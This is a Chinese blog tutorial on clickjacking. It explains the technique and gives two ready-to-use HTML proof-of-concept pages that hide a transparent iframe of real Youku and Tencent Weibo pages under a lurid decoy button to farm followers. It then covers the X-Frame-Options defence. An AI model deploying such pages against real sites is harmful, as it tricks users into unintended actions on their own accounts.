什么是点击劫持

点击劫持,clickjacking,也被称为UI-覆盖攻击。这个词首次出现在2008年,是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼首创的。

它是通过覆盖不可见的框架误导受害者点击。

虽然受害者点击的是他所看到的网页,但其实他所点击的是被黑客精心构建的另一个置于原网页上面的透明页面

劫持原理

攻击者使用一个透明的、不可见的iframe,覆盖(包含)一个网页,然后诱使用户在该网页上进行操作,此时用户在不知情的情况下点击了透明的iframe页面。通过调整iframe页面的按钮位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上。

劫持案例

  1. 点击一个表面显示是“播放”某个视频的按钮,而实际上完成的操作却是将用户的社交网站个人信息改为“公开”状态。
  2. 通过图片覆盖导致链接到一些未知的网站

    思路即为,找到有用的地方,查到坐标,放置按钮,放置诱惑信息,OK!

代码示例

优酷频道刷粉的POC

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. <title>点击劫持 POC</title>
  6. <style>
  7. iframe {
  8. width: 1440px;
  9. height: 900px;
  10. position: absolute;
  11. top: 0;
  12. left: 0;
  13. z-index: 2;
  14. -moz-opacity: 0;
  15. opacity: 0;
  16. filter: alpha(opacity=0)
  17. }
  18. button {
  19. position: absolute;
  20. top: 230px;
  21. left: 1200px;
  22. z-index: 1;
  23. width: 80px;
  24. height: 20px
  25. }
  26. </style>
  27. </head>
  28. <body>
  29. <button>点击脱衣</button>
  30. <img src="http://b.hiphotos.baidu.com/image/pic/item/3ac79f3df8dcd1001341dbcd768b4710b8122f78.jpg" />
  31. <iframe src="http://i.youku.com/u/UMjA0NTg4Njcy" scrolling="no"> </iframe>
  32. </body>
  33. </html>

腾讯微博刷粉

  1. <html>
  2. <head>
  3. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  4. <title>点击劫持 POC</title>
  5. <style>
  6. iframe {
  7. width: 1440px;
  8. height: 900px;
  9. position: absolute;
  10. top: -0px;
  11. left: -0px;
  12. z-index: 2;
  13. -moz-opacity: 0;
  14. opacity: 0;
  15. filter: alpha(opacity=0);
  16. }
  17. button {
  18. position: absolute;
  19. top: 250px;
  20. left: 770px;
  21. z-index: 1;
  22. width: 80px;
  23. height: 20px;
  24. }
  25. </style>
  26. </head>
  27. <body>
  28. <button>点击脱衣</button>
  29. <img src="http://b.hiphotos.baidu.com/image/pic/item/3ac79f3df8dcd1001341dbcd768b4710b8122f78.jpg" />
  30. <iframe src="http://search.t.qq.com/user.php?pos=436&amp;k=东北保钓" scrolling="no"></iframe>
  31. </body>
  32. </html>

防御

X-FRAME-OPTIONS是目前最可靠的方法

X-FRAME-OPTIONS是微软提出的一个http头,专门用来防御利用iframe嵌套的点击劫持攻击。

并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。

这个头有三个值:

  1. DENY // 拒绝任何域加载
  2. SAMEORIGIN // 允许同源域下加载
  3. ALLOW-FROM // 可以定义允许frame加载的页面地址

参考:

http://www.freebuf.com/articles/web/67843.html

点击劫持(click jacking)的更多相关文章

  1. web安全:click jacking

    点击劫持  click jacking通过iframe加载被攻击网站到黑客自己维护的网站通过z-index叠加和position定位,将2个网站的信息堆叠在一个立体投影面上,通过opacity设置透明 ...

  2. 点击劫持(CLICKJACKING)与X-FRAME-OPTIONS HEADER

    转载: http://www.tuicool.com/articles/mqUBfa 目录 前言 1.1 点击劫持(clickjacking attacks) 1.2  Frame Bursters. ...

  3. XSS学习笔记(一个)-点击劫持

    所谓XSS这个场景被触发XSS地方,在大多数情况下,攻击者被嵌入在网页中(问题)该恶意脚本(Cross site Scripting),这里的攻击始终触发浏览器端,攻击的者的目的.一般都是获取用户的C ...

  4. 点击劫持漏洞之理解 python打造一个挖掘点击劫持漏洞的脚本

    前言: 放假了,上个星期刚刚学习完点击劫持漏洞.没来的及写笔记,今天放学总结了一下 并写了一个检测点击劫持的脚本.点击劫持脚本说一下哈.= =原本是打算把网站源码 中的js也爬出来将一些防御的代码匹配 ...

  5. Web应用安全之点击劫持(CLICKJACKING)与X-FRAME-OPTIONS HEADER

    点击劫持(clickjacking)与X-Frame-Options Header 文/玄魂 目录 前言... 1.1 点击劫持(clickjacking attacks)... 1.2  Frame ...

  6. Web安全之点击劫持(ClickJacking)

    点击劫持(ClickJacking)是一种视觉上的欺骗手段.大概有两种方式,一是攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,此时用户将在不知情的情况下点击透明的 ...

  7. ClickJacking(点击劫持)

    问题: 点击劫持(ClickJacking)是一种视觉上的欺骗手段.大概有两种方式,一是攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,此时用户将在不知情的情况下点 ...

  8. Cookie中设置了 HttpOnly,Secure 属性,有效的防止XSS攻击,X-Frame-Options 响应头避免点击劫持

    属性介绍: 1) secure属性当设置为true时,表示创建的 Cookie 会被以安全的形式向服务器传输(ssl),即 只能在 HTTPS 连接中被浏览器传递到服务器端进行会话验证, 如果是 HT ...

  9. 安全测试4_客户端的安全漏洞(XSS、CSRF、点击劫持、URL跳转)

    那个fanh前面学习的都是基础,现在开始正式学习下安全的知识,这一章主要讲解客户端常见的安全漏洞. 看到这个不错,给大家记一下: 1.常见的安全事件: 2.XSS(跨站脚本),英文全称:Cross S ...

随机推荐

  1. 重装ubuntu

    重装前 需要备份软件.配置文件等,重装系统时,最好不要重新给/home分区,也不要格式化,要不你需要备份很多东西,重装后也需要做很多设置.也就是说/home不格式化,整个重装系统都是很快的.最多花10 ...

  2. [Lua快速了解一下]Lua的Table

    Lua中的Table其实就是一个Key Value的structure haoel = {name=, handsome=True} -table的CRUD操作 haoel.website=" ...

  3. 设计模式3---工厂模式(Factory Pattern简单工厂、工厂方法、抽象工厂)

    工厂模式:主要用来实例化有共同接口的类,工厂模式可以动态决定应该实例化那一个类.工厂模式的形态工厂模式主要用一下几种形态:1:简单工厂(Simple Factory).2:工厂方法(Factory M ...

  4. 第一课 了解SQL

    1.1数据库基础 数据库:数据库是一个以某种有组织的方式存储的数据集合,可以想象是一个文件柜 数据库管理软件:DBMS用来操做创建数据库的软件 表:某种特定类型数据的结构化清单,数据库的下一层就是表 ...

  5. 负载均衡-会话保持,session同步(转载)

    一,什么负载均衡一个新网站是不要做负载均衡的,因为访问量不大,流量也不大,所以没有必要搞这些东西.但是随着网站访问量和流量的快速增长,单台服务器受自身硬件条件的限制,很难承受这么大的访问量.在这种情况 ...

  6. 玄虚出品Delphi教程的前言 good

    VCL是基于系统的,根本在于系统API,FMX是基于绘图的,根本在于渲染引擎  VCL的发展受制于系统,(你在VCL的代码里面可以看到Borland对M$的妥协),而FMX的发展仅仅受制于硬件 VCL ...

  7. typescript多维对象数组仿List泛型

    定义对象: namespace entity{ export class MyClass{ public value:number; public rect:string; public constr ...

  8. javascript 获取iframe里页面中元素值的方法 关于contentWindow和contentDocumen

    javascript 获取iframe里页面中元素值的方法 IE方法:document.frames['myFrame'].document.getElementById('test').value; ...

  9. 2018.11-2019.1的随记|NOIP的考后随记

    就是日记吧?(这里就是写一些乱七八糟的东西qwq,当作自己的零散想念吧 1.24 今天跟着BLUESKY他们的视频一起领略了一下远在广州的CCF冬令营开幕式,看着ljh的拍的照片也体验了一下RM冬令营 ...

  10. WEB新手之签到题

    写一写web新手赛的题. 这是签到题,开始时需要耐心等待页面中字母全部出现. 字母全部出现后,会跳转到另一个界面,如上图所示.F12没什么特别的地方,这题应该有点难度. 按往常一样,先抓包. 按英文提 ...